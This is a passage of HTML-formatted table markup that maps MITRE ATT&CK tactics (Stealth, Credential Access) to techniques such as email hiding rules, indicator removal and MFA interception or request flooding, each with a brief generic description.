style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="742276802" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{158}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">modify</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="19" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="260351437" paraeid="{35bf2cac-5043-4d4f-9187-e1c67e12be92}{183}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Stealth (TA0005)</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1707017201" paraeid="{4eb7cf30-e27b-48ca-b3a3-ed3b24cb8b4a}{116}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1564.008 Hide Artifacts: Email Hiding Rules</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="806339106" paraeid="{75d18b0c-92a4-4469-86f9-780b0800c7d2}{184}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may use email rules to hide inbound or outbound emails in a compromised user&apos;s mailbox.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="20" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1601515726" paraeid="{333c8aab-c234-4656-90c8-9f1db41fe0b2}{177}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="88333990" paraeid="{2c18e643-9d42-459d-9d87-921db16f822a}{203}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1070 Indicator Removal&#xA0;&#xA0;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="995266780" paraeid="{6b8d8670-20e4-4468-aa7a-ddcf8541e0b1}{230}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">delete</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="21" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="2039820760" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{166}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Credential Access (TA0006)&#x202F;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1806053533" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{173}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1111 Multi-Factor Authentication Interception&#xA0;&#xA0;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1638133426" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{180}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may target MFA </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">mechanisms, (</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="22" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="144541167" paraeid="{55a42649-46e1-4fd1-9b7a-ef145bbf9e87}{151}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="72657871" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{189}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1621 Multi-factor Authentication Request Generation</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1062198623" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{196}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">attempt</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> to bypass MFA mechanisms and gain access to accounts by generating MFA requests sent to users.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="23" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="435114341" paraeid="{55a42649-46e1-4fd1-9b7a-ef145bbf9e87}{154}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; 